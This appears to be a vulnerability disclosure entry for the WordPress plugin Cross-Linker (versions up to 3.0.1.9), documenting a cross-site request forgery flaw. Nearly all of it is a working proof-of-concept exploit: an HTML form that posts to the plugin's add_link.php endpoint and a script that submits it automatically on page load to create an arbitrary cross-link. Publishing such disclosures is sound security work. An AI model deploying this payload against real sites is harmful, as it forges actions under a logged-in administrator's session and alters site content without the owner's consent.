Cross-Linker <= 3.0.1.9 - Arbitrary Cross-Link Creation via CSRF

Proof of Concept

<form id="test" action="https://example.com/wp-content/plugins/cross-linker/assets/process/add_link.php" method="POST">
    <input type="text" name="linker_word" value="tttttt">
    <input type="text" name="linker_uri" value="https://google.com">
    <input type="text" name="linker_attr" value="">
    <input type="text" name="linker_lang" value="-1">
</form>
<script>
    document.getElementById("test").submit();
</script>